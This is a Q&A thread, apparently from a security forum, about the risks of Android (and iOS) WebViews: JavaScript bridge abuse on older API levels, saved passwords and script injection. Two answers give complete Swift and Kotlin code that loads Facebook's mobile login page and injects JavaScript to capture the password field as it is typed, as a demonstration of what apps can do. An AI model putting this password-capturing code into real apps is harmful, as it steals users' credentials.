Are Web Views in android secure?

Question

"Web Views" are views that display some online content, usually a webpage within an android app.

Implemented "Web Views" usually don't seem to have any kind of status bar or an address bar to confirm if I'm on the right website or not. Thus making it a perfect exploit for malicious apps to serve web page that can be used for phishing, say like a fake facebook sign in page that could steal my credentials with little or no suspicion!

That being one of the issues, I'd like to have a more detailed and definitive answer.

So are Web Views secure? What risks do they contain?

Let me ask about a few points on this:-

• Does the web view pose the same security holes and flaws of the stock android browser (Because it is a derivative of it?)
• A "remember password" dialog often appears for password submission forms in Web Views. Are the apps entirely isolated from this 'password store'?
• Can apps possibly 'inject' some code into the Web View to track keystrokes/taps?
• What other parts of the Web View does the app have access to?

I hope this question isn't too broad.

Answer 1

Not exactly what you asked, but I see people miss this often enough that it's becoming an issue.

JavaScript bridges are used to break out of the browser sandbox (feature). However, for apps compiled for API level <17 (even if you're running latest and greatest but the app is compiled with lower API level, it is vulnerable), one can use reflection to execute ANY Java code from JavaScript (see Abusing WebView JavaScript Bridges).

Let me reiterate: with JavaScript bridge enabled in WebView, a "webpage" can execute any code as the WebView application.

More references:

• http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,%20java.lang.String)
• http://developer.android.com/guide/webapps/webview.html
• http://android-developers.blogspot.co.uk/2013/02/security-enhancements-in-jelly-bean.html

Answer 2

I am no android guy, from iOS world, Webviews are not secured at all. In iOS you definitely can inject javascript into the WKWebKit. Here i've prepared an demo out of it.

import UIKit
import WebKit

class ViewController: UIViewController {

    private var webView: WKWebView?
    private var url = URL(string: "https://m.facebook.com/")!
    private var domInputFieldId = "m_login_password"
    
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        initializeWebView()
        loadData()
        
    }
    
    private func initializeWebView() {
        
        let javascript = """
    window.onload = function() {
         var passField = document.getElementById("\(domInputFieldId)");
         passField.addEventListener("input", function(evt) {
         window.webkit.messageHandlers.jsMessenger.postMessage("\(domInputFieldId): " + passField.value.toString());
         });
         window.webkit.messageHandlers.jsMessenger.postMessage("Window loaded");
    }
    window.webkit.messageHandlers.jsMessenger.postMessage("Script sent first message");
"""

        let userScript = WKUserScript.init(source: javascript,
                                           injectionTime: .atDocumentStart, forMainFrameOnly: true)
        
        let contentController = WKUserContentController()
        contentController.addUserScript(userScript)
        contentController.add(self, name: "jsMessenger")
        
        
        let config = WKWebViewConfiguration()
        config.userContentController = contentController
        
        webView = WKWebView(frame: view.frame, configuration: config)
        webView?.navigationDelegate = self
        
        view.addSubview(webView!)
    }
    
    private func loadData() {
        webView?.load(URLRequest.init(url: url))
    }
    
}

extension ViewController: WKNavigationDelegate {
    public func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        print("WKWebView Delegate let me know, that it's done loading")
    }
}

extension ViewController: WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        print(message.body)
    }
}

All i'm doing listening to the DOM (Document Object Model) child with id m_login_password, and pass it to my app.

Output

Answer 3

One of the booleans available to the WebView class is setJavaScriptEnabled. Setting this to true/false will open up the normal vulnerabilities that are available through JavaScript. That said WebView has all the apis available to function as a normal browser. So all the normal precautions should be taken when writing a WebView that accepts user input (validation etc) or displaying content that is anything bust static.

Regarding your point about the remember password. If you have this functionality and save credentials in your application's WebView it won't be available to other applications on a nonrooted device. One you move into a rooted environment anything is possible.

Answer 4

Can apps possibly 'inject' some code into the Web View to track keystrokes/taps?

Similar to the answer by Ratul Sharker, turns out the same can be accomplished on Android:

import android.os.Bundle
import android.util.Log
import android.view.ViewGroup.LayoutParams
import android.view.ViewGroup.LayoutParams.MATCH_PARENT
import android.webkit.JavascriptInterface
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        WebView(this)
            .apply {
                layoutParams = LayoutParams(MATCH_PARENT, MATCH_PARENT)
                addJavascriptInterface(LoggerInterface(), "Logger")
                webViewClient = PasswordLogger()
                settings.javaScriptEnabled = true
                loadUrl("https://m.facebook.com")
            }
            .also(::setContentView)
    }

}

class PasswordLogger : WebViewClient() {
    override fun onPageFinished(view: WebView, url: String) {
        val script = """
            var field = document.getElementById("m_login_password");
            field.addEventListener("input", function(e) {
                Logger.log("password: " + field.value.toString());
            });
        """

        view.evaluateJavascript(script, null)
    }
}

class LoggerInterface {
    @JavascriptInterface
    fun log(message: String) = Log.d("Logger", message)
}

Answer 5

Let me answer your first three questions here.

1. stock android browser uses WebView. (1) if vulns in WebView, than browser sucks. (2) if browser's other vulns in its own implementation, other apps based on WebView may not be vulnerable.

2. Current app can always read the passwords saved in databases/webview.db, since it is located in its own private internal storage. However, it seems that Google plans to disable this feature (see http://developer.android.com/reference/android/webkit/WebViewDatabase.html#clearUsernamePassword() ).

3. App can inject JavaScript code into the current web view, such as this case. However, I am not sure whether these injected JS code can track keystrokes. Personally I think it is impossible, unless rooted or you control the input method.